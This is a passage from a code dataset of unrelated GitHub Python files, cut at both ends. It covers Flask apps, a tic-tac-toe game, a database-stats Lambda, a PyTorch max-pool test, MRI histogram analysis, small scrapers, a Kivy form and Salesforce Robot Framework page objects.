wyksztalcenie = zip(wartosc_wyksztalcenie_id, legenda_wyksztalcenie_id, d.colors),\n czas = zip(wartosc_czas_id, legenda_czas_id, d.colors),\n urzadzenia = zip(wartosc_urzadzenia_id, legenda_urzadzenia_id, d.colors)\n )\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef main():\n return render_template('main.html')\n\n@app.route('/form', methods=[ 'GET','POST'])\ndef form():\n blad = 0\n #jezeli zostalo przeslane cos z formularza\n if request.method == 'POST':\n odpowiedzi = request.form\n #wywolanie funkcji podzialu na listy z odpowiedziami\n respondent_odp, procenty, tekst, blad, choroba_odp, samopoczucie_odp, przerwa_odp, stan_oczu_odp, wizyta_odp, warunki_odp = d.podzial(odpowiedzi)\n #jezeli wszystko bylo wypelnione we wlasciwy sposob\n if blad == 0:\n zapis_bazy(respondent_odp, choroba_odp, samopoczucie_odp, przerwa_odp, stan_oczu_odp, wizyta_odp, warunki_odp, procenty)\n return redirect(url_for('end'))\n #jezeli nie wszystko bylo wypelnione we wlasciwy sposob\n else:\n #komunikat z bledem\n flash(u'{0}'.format(tekst[0]+tekst[1]+tekst[2]+tekst[3]+tekst[4]+\"Niestety musisz wypełnić ankietę ponownie.\"))\n return redirect(url_for('form'))\n return render_template('form.html', pytania=d.zestaw_pytan)\n\n\n","repo_name":"PGuzal/CVSsite","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":9678,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37128906112","text":"import os\nimport time\nimport uuid\nfrom firebase import firebase\nfrom flask import Flask,render_template,url_for,request,redirect\n\nct=0\n\nfirebase=firebase.FirebaseApplication('https://tictactoe-eac99.firebaseio.com/',None)\n\napp= Flask(__name__)\n@app.route('/')\ndef hello():\n pl=request.args.get(\"turn\")\n\n\n\n data=firebase.get('/game/','')\n if(data!=None):\n board=list(data)\n else:\n data={\n '0':' ',\n '1':' ',\n '2':' ',\n '3':' ',\n '4':' ',\n '5':' ',\n '6':' ',\n '7':' ',\n '8':' ',\n '9':' ',\n }\n firebase.put('/game/','/',data)\n print('init')\n data=firebase.get('/game/','')\n board=list(data)\n print(board)\n player = 1\n if(pl!=None):\n player=int(pl)\n\n\n ########win Flags##########\n Win = 1\n Draw = -1\n Running = 0\n Stop = 1\n ###########################\n Game = Running\n Mark = 'X'\n global Game\n status=''\n\n if(board[0]== ' ' and board[1]==' ' and board[2]==' ' and board[3]==' ' and board[4]==' ' and board[5]==' ' and board[6]==' ' and board[7]==' ' and board[8]==' ' and board[9]==' '):\n data={\n '0':' ',\n '1':' ',\n '2':' ',\n '3':' ',\n '4':' ',\n '5':' ',\n '6':' ',\n '7':' ',\n '8':' ',\n '9':' ',\n }\n firebase.put('/game/','/',data)\n print('init')\n elif(board[0] !=' ' or board[1]!=' ' or board[2]!=' ' or board[3]!=' ' or board[4]!=' ' or board[5]!=' ' or board[6]!=' ' or board[7]!=' ' or board[8]!=' ' or board[9]!=' '):\n print('noint')\n #Horizontal winning condition\n if(board[1] == board[2] and board[2] == board[3] and board[1] != ' '):\n Game = Win\n elif(board[4] == board[5] and board[5] == board[6] and board[4] != ' '):\n Game = Win\n elif(board[7] == board[8] and board[8] == board[9] and board[7] != ' '):\n Game = Win\n #Vertical Winning Condition\n elif(board[1] == board[4] and board[4] == board[7] and board[1] != ' '):\n Game = Win\n elif(board[2] == board[5] and board[5] == board[8] and board[2] != ' '):\n Game = Win\n elif(board[3] == board[6] and board[6] == board[9] and board[3] != ' '):\n Game=Win\n #Diagonal Winning Condition\n elif(board[1] == board[5] and board[5] == board[9] and board[5] != ' '):\n Game = Win\n elif(board[3] == board[5] and board[5] == board[7] and board[5] != ' '):\n Game=Win\n #Match Tie or Draw Condition\n elif(board[1]!=' ' and board[2]!=' ' and board[3]!=' ' and board[4]!=' ' and board[5]!=' ' and board[6]!=' ' and board[7]!=' ' and board[8]!=' ' and board[9]!=' '):\n Game=Draw\n else:\n Game=Running\n\n if(Game == Running):\n if(player % 2 != 0):\n print(\"Player 1's chance\")\n Mark = 'X'\n else:\n print(\"Player 2's chance\")\n Mark = 'O'\n # choice = int(input(\"Enter the position between [1-9] where you want to mark : \"))\n\n\n if(Game==Draw):\n status='draw'\n elif(Game==Win):\n if(player%2!=0):\n print(\"Player 0 Won\")\n status=\"Player 0 Won\"\n else:\n print(\"Player X Won\")\n status=\"Player X Won\"\n\n\n print(Game)\n return render_template('board.html',boardm=board,player=player,status=status)\n\n#id = str(uuid.uuid1())\n\n@app.route('/move')\ndef move():\n data=firebase.get('/game/','')\n board=list(data)\n Mark='X'\n l=request.args.get(\"block\")\n player=int(request.args.get(\"turn\"))\n l=int(l)\n print(l)\n if(player % 2 != 0):\n print(\"Player 1's chance\")\n Mark = 'X'\n else:\n print(\"Player 2's chance\")\n Mark = 'O'\n if(board[l]== ' '):\n firebase.put('/game/','/'+str(l),''+str(Mark))\n player=player+1\n data=firebase.get('/game/','')\n return redirect(url_for('.hello', turn=player))\n #return render_template('board.html',boardm=data,player=player)\n\n\nif __name__==\"__main__\":\n app.run(debug=True)\n","repo_name":"Droidverine/TicTacToe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10299602101","text":"\n#!/bin/env python3\n\"\"\"\nget_db_stats:\n quick and dirty database stats\n created to monitor the progress of our data-loading\n sends stats to stdout at level INFO\n\"\"\"\n\nfrom psycopg2 import sql\nfrom src import logger\nfrom src.database import Database\nfrom typing import List\n\n\n#\n# queries correspond to columns in table fec.loading_stats\nqueries = [\n 'select count(*) from fec.candidate_detail;',\n 'select count(DISTINCT candidate_id) from fec.candidate_detail;',\n 'select count(*) from fec.committee_detail;',\n 'select count(DISTINCT committee_id) from fec.committee_detail;',\n 'select count(*) from fec.filings;',\n 'select count(DISTINCT fec_file_id) from fec.filings;',\n 'select count(*) from fec.committee_totals;',\n 'select count(*) from (select DISTINCT cycle, committee_id from fec.committee_totals);',\n 'select count(*) from fec.filing_amendment_chain;',\n 'select count(DISTINCT fec_file_id) from fec.filing_amendment_chain;',\n 'select count(*) from fec.filings_schedule_b;',\n 'select count(DISTINCT fec_file_id) from fec.filings_schedule_b;',\n 'select count(*) from fec.filings_schedule_e;',\n 'select count(DISTINCT fec_file_id) from fec.filings_schedule_e;',\n 'select count(*) from fec.form_1_supplemental;',\n 'select count(DISTINCT fec_file_id) from fec.form_1_supplemental;'\n]\n\ndef db_stats_insert(values: List[str]) -> str:\n literal_value_holes = ', '.join([ '{}' for val in values])\n query = sql.SQL(f'INSERT INTO fec.loading_stats VALUES ({literal_value_holes})')\\\n .format(*[sql.Literal(val) for val in values])\n\n return query\n\n\ndef lambdaHandler(event, context):\n \"\"\"lambda that queries db and then writes stats back\"\"\"\n\n results = [\"'now'\"]\n\n # query db with each query\n with Database() as db:\n for query in queries:\n result = db.query(query)\n result = result[0][0]\n results.append(result)\n logger.info(f'\\n{query}\\t\\t\\t{result}')\n\n # write stats back to DB\n insert_command = db_stats_insert(results)\n\n return db.try_query(insert_command)\n","repo_name":"Advertising-Analytics-LLC/serverless-aws-fec-data-collectionor","sub_path":"src/get_db_stats.py","file_name":"get_db_stats.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29030462057","text":"import numpy as np\nimport torch\nimport copy\nfrom torch import nn\n\nclass myMaxPool2d(nn.Module):\n def __init__(self, kernel_size, stride):\n super(myMaxPool2d, self).__init__()\n self.kernel_size = kernel_size\n self.stride = stride\n\n def forward(self, x):\n\n kRows, kCols = self.kernel_size\n outRows = int((x.shape[2] - kRows)/self.stride[0] + 1)\n outCols = int((x.shape[3] - kCols)/self.stride[1] + 1)\n\n x_unf = torch.nn.functional.unfold(x, kernel_size=self.kernel_size, stride=self.stride)\n x_view = x_unf.view(x_unf.shape[0], x_unf.shape[1]//(kRows*kCols), (kRows*kCols), -1)\n x_max = x_view.argmax(dim=2, keepdims=True)\n max_vals = torch.gather(x_view, 2, x_max)\n output = max_vals.view(max_vals.shape[0], max_vals.shape[1], outRows, outCols)\n\n return output\n\n ##############################################################\n#\n# If your implementation is correct, your function should pass all the following tests\n# Please do not modify this cell. It is for evaluation only. \n# If you want use it to debug your code, please make a copy of it and modify the copied version\n#\n##############################################################\n\ndef maxpool_evaluate(kernel_size, stride, input, label):\n a = myMaxPool2d(kernel_size=kernel_size, stride=stride)\n b = nn.MaxPool2d(kernel_size=kernel_size, stride=stride)\n \n input_a = copy.deepcopy(input)\n label_a = copy.deepcopy(label)\n input_b = copy.deepcopy(input)\n label_b = copy.deepcopy(label)\n \n ref_b = b(input_b)\n ref_a = a(input_a)\n # evaluation forward pass\n assert torch.equal(ref_a, ref_b), \"model outputs does not match.\\na:\\n{}\\nb:\\n{}\".format(ref_a, ref_b)\n \n # evaluation backward pass\n torch.sum(ref_a - label_a).backward()\n torch.sum(ref_b - label_b).backward()\n assert torch.equal(input_a.grad, input_b.grad), \"gradients does not match.\\na:\\n{}\\nb:\\n{}\".format(input_a, input_b)\n\nif __name__ == '__main__':\n torch.manual_seed(42)\n print(\"Evaluate non-overlapped case\")\n kernel_size=[2,2]\n stride=[2,2]\n #input = torch.randn(128,16,28,28, requires_grad=True)\n #label = torch.randn(128,16,14,14)\n input = torch.randn(3,2,3,3, requires_grad=True)\n label = torch.randn(3,2,2,2)\n maxpool_evaluate(kernel_size, stride, input, label)\n\n print(\"Evaluate overlapped case\")\n kernel_size=[2,2]\n stride=[1,1]\n input = torch.randn(3,2,3,3, requires_grad=True)\n label = torch.randn(3,2,1,1)\n maxpool_evaluate(kernel_size, stride, input, label)","repo_name":"MerlinPCarson/NeuralNetMatrixOps","sub_path":"maxpool2d.py","file_name":"maxpool2d.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23979365667","text":"import matplotlib.pyplot as plt\nfrom os.path import join as pjoin\nfrom os.path import exists\nfrom os import makedirs\nimport numpy as np\nfrom dipy.viz import regtools\nfrom dipy.data import fetch_stanford_hardi\nfrom dipy.data.fetcher import fetch_syn_data\nfrom dipy.io.image import load_nifti, save_nifti\nimport os\n\npatientPath = \"C:\\\\Users\\\\Louis Lovat\\\\Desktop\\\\Memoire\\\\study\\\\20_01_01_E1\\\\microstructure\\\\dti\\\\transformed\\\\20_01_01_E1_transformed_FA.nii.gz\"\nmaskPath = \"C:\\\\Users\\\\Louis Lovat\\\\Desktop\\\\Memoire\\\\Atlas_Maps\\\\XTRACT\\\\xtract_prob_Corticospinal_Tract_L.nii.gz\"\n\ndef getHisto(study_path, patient, image_type, mask_path, mask_type, nBins):\n complete_mask_path = pjoin(mask_path, mask_type + \".nii.gz\")\n mask, mask_affine = load_nifti(complete_mask_path, return_img=False)\n image, image_affine = load_nifti(pjoin(study_path, patient, \"transformed\", patient + \"_\" + image_type + \"_transformed\" + \".nii.gz\"), return_img=False)\n\n common_mask, common_affine = load_nifti(pjoin(study_path, \"common_mask.nii.gz\"))\n mask = mask * common_mask\n mask -= np.min(mask)\n mask = mask / np.max(mask)\n\n image -= np.min(image)\n image = image / np.max(image)\n maxBins = np.max(image[mask > 0])\n\n bins = np.linspace(0, maxBins, nBins+1)\n histoPoints = np.zeros(nBins)\n for i in range(nBins-1):\n indices1 = bins[i]< image \n indices2 = image <= bins[i+1]\n indices = indices1 * indices2\n histoPoints[i] = np.sum(mask[indices])\n indices1 = bins[nBins-1] < image\n histoPoints[nBins-1] = np.sum(mask[indices1])\n\n histoPoints = histoPoints / np.sum(histoPoints)\n bins = np.array(bins)\n histoPoints = np.array(histoPoints)\n save_file = pjoin(study_path, patient, \"histograms\", patient + \"_\" + image_type + \"_\" + mask_type + \"_histo\" + \".csv\")\n bins_file = pjoin(study_path, patient, \"histograms\", patient + \"_\" + image_type + \"_\" + mask_type + \"_bins\" + \".csv\")\n if not exists(pjoin(study_path, patient, \"histograms\")):\n makedirs(pjoin(study_path, patient, \"histograms\"))\n with open(save_file, 'w') as my_file:\n np.savetxt(my_file, histoPoints)\n with open(bins_file, 'w') as my_file:\n np.savetxt(my_file, bins)\n print('Histogram exported.')\n return bins, histoPoints\n\n\ndef getHistoMultiplePatientsImagesMasks(study_path, patient_list, image_list, mask_path, mask_type_list, nBins):\n Histos = []\n for patient in patient_list:\n patient_histos = []\n for image in image_list:\n image_histos = []\n for mask_type in mask_type_list:\n bins, newHisto = getHisto(study_path, patient, image, mask_path, mask_type, nBins)\n image_histos.append(newHisto)\n patient_histos.append(image_histos)\n Histos.append(patient_histos)\n print(f\"Histograms for patient {patient} finished.\")\n return bins, Histos\n\n\n\ndef compareHisto(bins, histos, labels, ncols, titles):\n n_histos = len(histos)\n fig, axs = plt.subplots(1, ncols)\n for i in range(n_histos):\n if ncols != 1:\n a = i // (n_histos // ncols)\n axs[a].bar(bins[i][:-1], histos[i], width=bins[i][1]-bins[i][0], align=\"edge\", alpha = 1 / n_histos * ncols, label=labels[i])\n axs[a].legend()\n else:\n axs.bar(bins[i][:-1], histos[i], width=bins[i][1]-bins[i][0], align=\"edge\", alpha = 1 / n_histos * ncols, label=labels[i])\n axs.legend()\n for i in range(len(titles)):\n if ncols != 1:\n axs[i].set_title(titles[i])\n else:\n axs.set_title(titles[0])\n plt.show()\n\n\ndef getCommonMask(study_path, patient_list):\n for i in range(len(patient_list)):\n total_path = pjoin(study_path, patient_list[i], \"transformed\", patient_list[i] + \"_FA_transformed.nii.gz\")\n if i == 0:\n common_mask, common_affine = load_nifti(total_path, return_img=False)\n common_mask = common_mask > 0\n else:\n other_mask, other_affine = load_nifti(total_path, return_img=False)\n other_mask = other_mask > 0\n common_mask = common_mask * other_mask\n to_save = np.zeros(common_mask.shape)\n to_save[common_mask] = 1\n save_nifti(pjoin(study_path, \"common_mask.nii.gz\"), to_save, np.eye(4))\n return to_save","repo_name":"Deriorican/Memoire_dRMI_strokes","sub_path":"Codes/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36058668092","text":"print(\"This is Pizza Delivery practice.\")\nsize = input(\"What size of pizza do you want? S, M, or L? \")\npepperoni = input(\"Add pepperoni? True or false? \").lower() == \"true\"\nextra_cheese = input(\"Add extra cheese? True or false? \").lower() == \"true\"\n\nprice = 0\n\nif size == \"S\":\n price += 15\n if pepperoni:\n price += 2\n\n if extra_cheese:\n price += 1\n\nelif size == \"M\":\n price += 20\n if pepperoni:\n price += 3\n\n if extra_cheese:\n price += 1\n\nelse:\n price += 25\n if pepperoni:\n price += 3\n\n if extra_cheese:\n price += 1\n\nprint(f\"The price is {price}\")","repo_name":"Anveks/Python-Basics","sub_path":"small projects/random/pizza-delivery.py","file_name":"pizza-delivery.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37561635747","text":"# 爬:百度搜索python的结果,url=\"https://www.baidu.com/s\"\nimport requests\n\nurl = 'http://www.baidu.com/s'\nkeyword='python'\npath = r'/SoftTest/Soft_test/SoftTest/B01_01 Python基础和进阶/B01_01 02 Codes/2023/3月/20230227'\nfilename = r'python_result_202302271958.txt'\ntry:\n kv = {'wd':keyword}\n r = requests.get(url,params=kv)\n r.raise_for_status()\n print(path+filename)\n with open(path+filename, encoding='utf8',mode = 'w+') as f:\n f.write(r.text)\n\nexcept:\n print('爬取失败')\n\n\n","repo_name":"T-Better/SoftTest","sub_path":"B01_01 Python基础和进阶/B01_01 02 Codes/2023/3月/20230227/百度搜索.py","file_name":"百度搜索.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"28900494635","text":"import kivy\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\n\nclass Ex44( App ):\n def build(self):\n box_principal = BoxLayout(orientation = \"vertical\")\n box_a = BoxLayout(orientation=\"horizontal\")\n box_nome = BoxLayout(orientation=\"vertical\")\n self.txt_nome = TextInput()\n box_nome.add_widget(self.txt_nome)\n box_nome.add_widget(Label(text=\"Informe o nome do produto\"))\n box_a.add_widget(Label(text=\"Nome do produto\"))\n box_a.add_widget(box_nome)\n\n box_b = BoxLayout(orientation=\"horizontal\")\n box_qtd = BoxLayout(orientation=\"vertical\")\n self.txt_qtd = TextInput()\n box_qtd.add_widget(self.txt_qtd)\n box_qtd.add_widget(Label(text=\"Informe a quantidade de numeros em decimal exemplo 10.50\"))\n box_b.add_widget(Label(text=\"Quantidade do produto\"))\n box_b.add_widget(box_qtd)\n\n box_c = BoxLayout(orientation=\"horizontal\")\n box_unidade = BoxLayout(orientation=\"vertical\")\n self.txt_unidade = TextInput()\n box_unidade.add_widget(self.txt_unidade)\n box_unidade.add_widget(Label(text=\"Informe a unidade de medida, exemplo=Kg, Litros, Unidades, etc...\"))\n box_c.add_widget(Label(text=\"Unidade de Medida\"))\n box_c.add_widget(box_unidade)\n\n box_botoes = BoxLayout(orientation=\"horizontal\")\n btn_salvar = Button(text=\"Salvar\")\n btn_salvar.bind(on_press=self.salvar)\n btn_listar = Button(text=\"Listar\")\n box_botoes.add_widget(btn_salvar)\n box_botoes.add_widget(btn_listar)\n\n box_principal.add_widget(box_a)\n box_principal.add_widget(box_b)\n box_principal.add_widget(box_c)\n box_principal.add_widget(box_botoes)\n\n return box_principal\n \n def salvar(self, *args):\n print(\"Botao Salvar apertado\")\n print(\"Valor do Nome: \", self.txt_nome.text)\n print(\"Valor do Quantidade: \", self.txt_qtd.text)\n print(\"Valor do Unidade de Medida: \", self.txt_unidade.text)\n \nEx44().run()","repo_name":"antoniorcn/fiap-2023","sub_path":"1tdspm/aula55/ex44.py","file_name":"ex44.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"pt","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"20369797167","text":"# from hdfs import InsecureClient\n# import csv\n\n# client = InsecureClient('http://192.168.43.142:50070', user='hdfs')\n# writer = client.write('/tron.csv', append=True)\n# with client.write('/tron.csv', append=True) as writer:\n\n\nimport pyhdfs\n\nclient = pyhdfs.HdfsClient(hosts=\"192.168.43.142:50070\", user_name=\"hdfs\")\n\nresponse = client.open(\"/user/hadoop/speech_text.txt\")\n\nresponse.read()\n","repo_name":"oushu1zhangxiangxuan1/TronStreaming","sub_path":"parsing/hdfs.py","file_name":"hdfs.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"36138316307","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport re\n\nMAIN_URL = 'https://www.imdb.com/search/title/?genres=musical&explore=title_type,genres&ref_=tt_ov_inf'\nBASE_URL = 'https://www.imdb.com'\nNUMBER_OF_PAGES = 7\nmovie_id = 0\n\n\ndef get_movie_year(header):\n \"\"\"\n :param header: header element as BeautifulSoup\n :return: the movie/series year/s\n \"\"\"\n year = header.find(class_=\"lister-item-year\").text\n year = re.findall(r'\\d+', year)\n if len(year) == 2:\n return year[0] + '-' + year[1]\n elif len(year) == 1:\n return year[0]\n else:\n return None\n\n\ndef get_movie_length(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: movie length in minutes\n \"\"\"\n length = movie.find('span', class_=\"runtime\")\n if length:\n length = re.findall(r'\\d+', length.text)\n return length\n\n\ndef get_movie_rating(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: movie rating (PG-13,R, etc)\n \"\"\"\n rating = movie.find('span', class_=\"certificate\")\n if rating:\n rating = rating.text\n return rating\n\n\ndef get_movie_genres(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: movie genres\n \"\"\"\n genres = movie.find('span', class_=\"genre\")\n if genres:\n genres = \" \".join(genres.text.split())\n return genres\n\n\ndef get_movie_votes_and_gross(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: number of votes for the movie and movie's gross\n \"\"\"\n votes_and_gross = movie.find(class_=\"sort-num_votes-visible\")\n if votes_and_gross:\n votes_and_gross = votes_and_gross.find_all('span', {'name': 'nv'})\n if len(votes_and_gross) == 2:\n votes = votes_and_gross[0].text\n gross = votes_and_gross[1].text\n elif len(votes_and_gross) == 1:\n votes = votes_and_gross[0].text\n gross = None\n else:\n votes = None\n gross = None\n else:\n votes = None\n gross = None\n return votes, gross\n\n\ndef get_movie_imdb_rating(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: the movie rating (1-10 stars)\n \"\"\"\n imdb_rating = movie.find(class_=\"ratings-imdb-rating\")\n if imdb_rating:\n imdb_rating = imdb_rating.find(\"strong\").text\n return imdb_rating\n\n\ndef get_movie_director_and_stars(movie_soup):\n \"\"\"\n :param movie_soup: the movie page as BeautifulSoup\n :return: the movie director and the stars of the movie\n \"\"\"\n credits_sum = movie_soup.find_all(class_=\"credit_summary_item\")\n director = None\n stars = None\n if credits_sum:\n for credit in credits_sum:\n if \"Director\" in credit.find('h4').text:\n director = credit.find('a').text\n elif \"Stars\" in credit.find('h4').text:\n stars = credit.find_all('a')\n stars = [star.text for star in stars if \"See full\" not in star.text]\n return director, stars\n\n\ndef get_one_data_from_movie(movie):\n \"\"\"\n :param movie: movie card element as BeautifulSoup\n :return: dict of the movie data in fields\n \"\"\"\n global movie_id\n movie_id += 1\n header = movie.find(class_=\"lister-item-header\")\n # handle movie name\n name = header.find('a').text\n url_for_movie = BASE_URL + header.find('a')['href']\n # handle movie year\n year = get_movie_year(header)\n # handle length\n length = get_movie_length(movie)\n # handle movie rating\n rating = get_movie_rating(movie)\n # handle movie genres\n genres = get_movie_genres(movie)\n # handle votes and gross\n votes, gross = get_movie_votes_and_gross(movie)\n # handle imdb rating\n imdb_rating = get_movie_imdb_rating(movie)\n # open request for specific page\n r_movie = requests.get(url_for_movie)\n movie_soup = BeautifulSoup(r_movie.text, 'html.parser')\n # handle director and stars\n director, stars = get_movie_director_and_stars(movie_soup)\n # handle movie full text\n full_text = movie_soup.text\n # return the movie data by field\n return {\n 'Name': name,\n 'ID': movie_id,\n 'Year': year,\n 'Length': length,\n 'MovieRating': rating,\n 'Genres': genres,\n 'ImdbRating': imdb_rating,\n 'Director': director,\n 'Stars': stars,\n 'Votes': votes,\n 'Gross': gross,\n 'URL': url_for_movie,\n 'FullText': full_text,\n }\n\n\ndef get_data_from_50_pages(main_musical_url):\n \"\"\"\n :param main_musical_url: url for a list of 50 movies from the genre\n :return: the data of the 50 movies in the page\n \"\"\"\n r = requests.get(main_musical_url)\n data = {}\n\n r_soup = BeautifulSoup(r.text, 'html.parser')\n movies = r_soup.find_all(class_=\"lister-item\")\n\n for movie in movies:\n movie_data = get_one_data_from_movie(movie)\n data[movie_data['Name']] = movie_data\n\n return data\n\n\nif __name__ == '__main__':\n current_url = MAIN_URL\n full_data = {}\n # going over 6 pages and 300 movies\n for i in range(NUMBER_OF_PAGES):\n # add data from the main page\n full_data.update(get_data_from_50_pages(current_url))\n # get the url for the next page\n soup = BeautifulSoup(requests.get(current_url).text, 'html.parser')\n current_url = BASE_URL + soup.find('a', class_=\"lister-page-next\")['href']\n\n # write data to JSON\n with open('../data.json', 'w') as outfile:\n json.dump(full_data, outfile, indent=4, sort_keys=False)\n\n print(len(full_data))\n","repo_name":"netzer-git/SecondYearFunProjects","sub_path":"IMDB-Crawler/code/imdb_crawler.py","file_name":"imdb_crawler.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14548153034","text":"# Note: Unlike in traditional robot libraries, this docstring will end\n# up in output from the libdoc task. For that to happen, it must be\n# before the imports.\n\n\"\"\"\nThe following page objects are automatically included when\nimporting the PageObject library. You should not directly import this\nfile.\n\n\"\"\"\n\nimport re\nfrom cumulusci.robotframework.pageobjects import pageobject\nfrom cumulusci.robotframework.pageobjects import BasePage\nfrom cumulusci.robotframework.utils import capture_screenshot_on_error\n\n# This will appear in the generated documentation in place of\n# the filename.\nTITLE = \"Base Page Objects\"\n\n\n@pageobject(page_type=\"Listing\")\nclass ListingPage(BasePage):\n \"\"\"Page object representing a Listing page\n\n When going to the Listing page, you need to specify the object name. You\n may also specify the name of a filter.\n\n Example\n\n | Go to page Listing Contact filterName=Recent\n\n \"\"\"\n\n def _go_to_page(self, filter_name=None):\n url_template = \"{root}/lightning/o/{object_name}/list\"\n url = url_template.format(\n root=self.cumulusci.org.lightning_base_url, object_name=self.object_name\n )\n if filter_name:\n url += \"?filterName={}\".format(filter_name)\n self.selenium.go_to(url)\n self.salesforce.wait_until_loading_is_complete()\n\n def _is_current_page(self):\n self.selenium.location_should_contain(\n \"/lightning/o/{}/list\".format(self.object_name)\n )\n\n\nclass ModalMixin:\n def _wait_to_appear(self, expected_heading=None):\n \"\"\"Waits until the modal is visible\"\"\"\n locator = \"//div[contains(@class, 'uiModal')]\"\n if expected_heading:\n locator += f\"//h2[text()='{expected_heading}']\"\n error = f\"A modal with the heading {expected_heading} did not appear before the timeout\"\n else:\n error = \"The modal did not appear before the timeout\"\n\n self.salesforce.wait_for_aura()\n self.selenium.wait_until_element_is_visible(locator, error=error)\n\n @capture_screenshot_on_error\n def close_the_modal(self):\n \"\"\" Closes the open modal \"\"\"\n\n locator = \"css: button.slds-modal__close\"\n self.selenium.wait_until_element_is_enabled(locator)\n self.selenium.click_element(locator)\n self.wait_until_modal_is_closed()\n self._remove_from_library_search_order()\n\n @capture_screenshot_on_error\n def click_modal_button(self, button_label):\n \"\"\"Click the named modal button (Save, Save & New, Cancel, etc)\"\"\"\n # stolen from Salesforce.py:click_modal_button\n locator = (\n \"//div[contains(@class,'uiModal')]\"\n \"//div[contains(@class,'modal-footer') or contains(@class, 'actionsContainer')]\"\n \"//button[.//span[text()='{}']]\"\n ).format(button_label)\n\n self.selenium.wait_until_page_contains_element(locator)\n self.selenium.wait_until_element_is_enabled(locator)\n self.salesforce._jsclick(locator)\n\n @capture_screenshot_on_error\n def modal_should_contain_errors(self, *messages):\n \"\"\"Verify that the modal contains the following errors\n\n This will look for the given message in the standard SLDS\n component (
    )\n \"\"\"\n for message in messages:\n locator = \"//ul[@class='errorsList']//li[contains(., \\\"{}\\\")]\".format(\n message\n )\n self.selenium.page_should_contain_element(\n locator,\n 'The page did not contain an error with the text \"{}\"'.format(message),\n )\n\n @capture_screenshot_on_error\n def populate_field(self, name, value):\n \"\"\"Populate a field on the modal form\n\n Name must the the label of a field as it appears on the modal form.\n\n Example\n\n | Populate field First Name Connor\n | Populate field Last Name MacLeod\n \"\"\"\n # For now, call the same keyword in Salesforce.py. Eventually\n # that keyword may get moved here and deprecated from that\n # library.\n self.salesforce.populate_field(name, value)\n\n @capture_screenshot_on_error\n def populate_form(self, *args, **kwargs):\n \"\"\"Populate the modal form\n\n Arguments are of the form key=value, where 'key' represents\n a field name as it appears on the form (specifically, the text\n of a label with the class 'uiLabel').\n\n Example:\n\n | Populate form\n | ... First Name=Connor\n | ... Last Name=MacLeod\n \"\"\"\n # For now, call the same keyword in Salesforce.py. Eventually\n # that keyword may get moved here and deprecated from that\n # library.\n self.salesforce.populate_form(*args, **kwargs)\n\n @capture_screenshot_on_error\n def wait_until_modal_is_closed(self, timeout=None):\n \"\"\"Waits until the modal is no longer visible\n\n If the modal isn't open, this will not throw an error.\n \"\"\"\n locator = \"//div[contains(@class, 'uiModal')]\"\n\n self.selenium.wait_until_page_does_not_contain_element(locator)\n\n\n@pageobject(\"New\")\nclass NewModal(ModalMixin, BasePage):\n \"\"\"A page object representing the New Object modal\n\n Note: You should not use this page object with 'Go to page'. Instead,\n you can use 'Wait for modal to appear' after performing an action\n that causes the new object modal to appear (eg: clicking the\n \"New\" button). Once the modal appears, the keywords for that\n modal will be available for use in the test.\n\n Example:\n\n | Go to page Home Contact\n | Click object button New\n | Wait for modal to appear New Contact\n \"\"\"\n\n\n@pageobject(\"Edit\")\nclass EditModal(ModalMixin, BasePage):\n \"\"\"A page object representing the Edit Object modal\n\n Note: You should not use this page object with 'Go to page'. Instead,\n you can use 'Wait for modal to appear' after performing an action\n that causes the new object modal to appear (eg: clicking the\n \"Edit\" button). Once the modal appears, the keywords for that\n modal will be available for use in the test.\n\n Example:\n\n | Click object button Edit\n | Wait for modal to appear Edit Contact\n\n \"\"\"\n\n\n@pageobject(\"Home\")\nclass HomePage(BasePage):\n \"\"\"A page object representing the home page of an object.\n\n When going to the Home page, you need to specify the object name.\n\n Note: The home page of an object may automatically redirect you to\n some other page, such as a Listing page. If you are working with\n such a page, you might need to use `page should be` to load the\n keywords for the page you expect to be redirected to.\n\n Example\n\n | Go to page Home Contact\n\n \"\"\"\n\n def _go_to_page(self):\n url_template = \"{root}/lightning/o/{object_name}/home\"\n url = url_template.format(\n root=self.cumulusci.org.lightning_base_url, object_name=self.object_name\n )\n self.selenium.go_to(url)\n self.salesforce.wait_until_loading_is_complete()\n\n def _is_current_page(self):\n self.selenium.location_should_contain(\n \"/lightning/o/{}/home\".format(self.object_name)\n )\n\n\n@pageobject(\"Detail\")\nclass DetailPage(BasePage):\n \"\"\"A page object representing the standard Detail page.\n\n When going to this page via the standard `Go to page` keyword, you\n can specify either an object id, or a set of keyword arguments which\n will be used to look up the object id. When 